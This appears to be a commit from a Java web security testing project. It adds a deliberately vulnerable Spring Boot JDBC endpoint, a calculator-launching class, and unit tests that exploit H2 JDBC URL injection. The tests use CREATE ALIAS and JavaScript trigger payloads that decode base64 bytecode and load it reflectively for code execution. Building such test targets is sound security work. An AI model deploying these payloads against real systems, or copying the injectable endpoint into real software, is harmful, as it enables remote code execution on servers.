feat: support H2 packer

2026-09-23 15:31:53 +08:00 · 2025-08-13 23:53:40 +08:00
parent bb4bcb956c
commit db96872fa4
22 changed files with 341 additions and 10 deletions
@@ -0,0 +1,31 @@
+package com.reajason.javaweb.vul.springboot2.controller;
+
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.sql.Connection;
+import java.sql.DriverManager;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/27
+ */
+@RestController
+public class JDBCController {
+
+    @PostMapping("/jdbc")
+    public void JDBC(String data) throws Exception {
+        try {
+            Connection connection = DriverManager.getConnection(data);
+            connection.close();
+        } catch (Throwable e) {
+            Throwable ex = e.getCause();
+            while (ex.getCause() != null) {
+                ex = ex.getCause();
+            }
+            if (!(ex instanceof ClassCastException)) {
+                throw e;
+            }
+        }
+    }
+}
@@ -0,0 +1,17 @@
+package com.reajason.javaweb.vul.springboot2.controller;
+
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/27
+ */
+public class CommandExec {
+    static {
+        try {
+            Runtime.getRuntime().exec("open -a Calculator");
+        } catch (IOException e) {
+
+        }
+    }
+}
@@ -0,0 +1,42 @@
+package com.reajason.javaweb.vul.springboot2.controller;
+
+import org.junit.jupiter.api.Test;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/28
+ */
+class JDBCControllerTest {
+
+    @Test
+    void testJDBC() throws Exception {
+        JDBCController jdbcController = new JDBCController();
+        String b64Bytecode = "yv66vgAAADQAIQoABwAUCgAVABYIABcKABUAGAcAGQcAGgcAGwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA9TGNvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGQEAClNvdXJjZUZpbGUBABBDb21tYW5kRXhlYy5qYXZhDAAIAAkHABwMAB0AHgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwAHwAgAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAO2NvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAGAAcAAAAAAAIAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAgADwAJAAEACgAAAE8AAgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAMAAkADwAMAA0ADQAQAAwAAAACAAAAEAAAAAcAAkwHABEAAAEAEgAAAAIAEw==";
+        String ss = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
+                "String a(String a) throws java.lang.Exception{" +
+                "byte[] bytes=null\\;" +
+                "String base64Str=\"" + b64Bytecode + "\"\\;" +
+                "        try {\n" +
+                "            bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
+                "        } catch (java.lang.Exception var6) {\n" +
+                "                bytes = new sun.misc.BASE64Decoder().decodeBuffer(base64Str)\\;\n" +
+                "        }" +
+                "java.lang.reflect.Method defineClassMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
+                "defineClassMethod.setAccessible(true)\\;" +
+                "java.lang.Class myclass=(java.lang.Class)defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
+                "myclass.newInstance()\\;" +
+                "return null\\;" +
+                "}'\\;" +
+                "CALL look('')";
+        jdbcController.JDBC(ss);
+    }
+
+    @Test
+    void testScriptJDBC() throws Exception {
+        JDBCController jdbcController = new JDBCController();
+        String b64Bytecode = "yv66vgAAADQAIQoABwAUCgAVABYIABcKABUAGAcAGQcAGgcAGwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA9TGNvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGQEAClNvdXJjZUZpbGUBABBDb21tYW5kRXhlYy5qYXZhDAAIAAkHABwMAB0AHgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwAHwAgAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAO2NvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAGAAcAAAAAAAIAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAgADwAJAAEACgAAAE8AAgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAMAAkADwAMAA0ADQAQAAwAAAACAAAAEAAAAAcAAkwHABEAAAEAEgAAAAIAEw==";
+        String ss = "jdbc:h2:mem:a;init=CREATE TRIGGER a BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
+                "var base64Str = \"" + b64Bytecode + "\"\\;var bytecode\\;try { bytecode = java.util.Base64.getDecoder().decode(base64Str)\\;} catch (ee) { bytecode = new sun.misc.BASE64Decoder().decodeBuffer(base64Str)\\;}var clsByteArray = (new java.lang.String(\"a\").getBytes().getClass())\\;var clsInt = java.lang.Integer.TYPE\\;var defineClass = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", [clsByteArray, clsInt, clsInt])\\;defineClass.setAccessible(true)\\;var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length))\\;clazz.newInstance()\\;$$";
+        jdbcController.JDBC(ss);
+    }
+}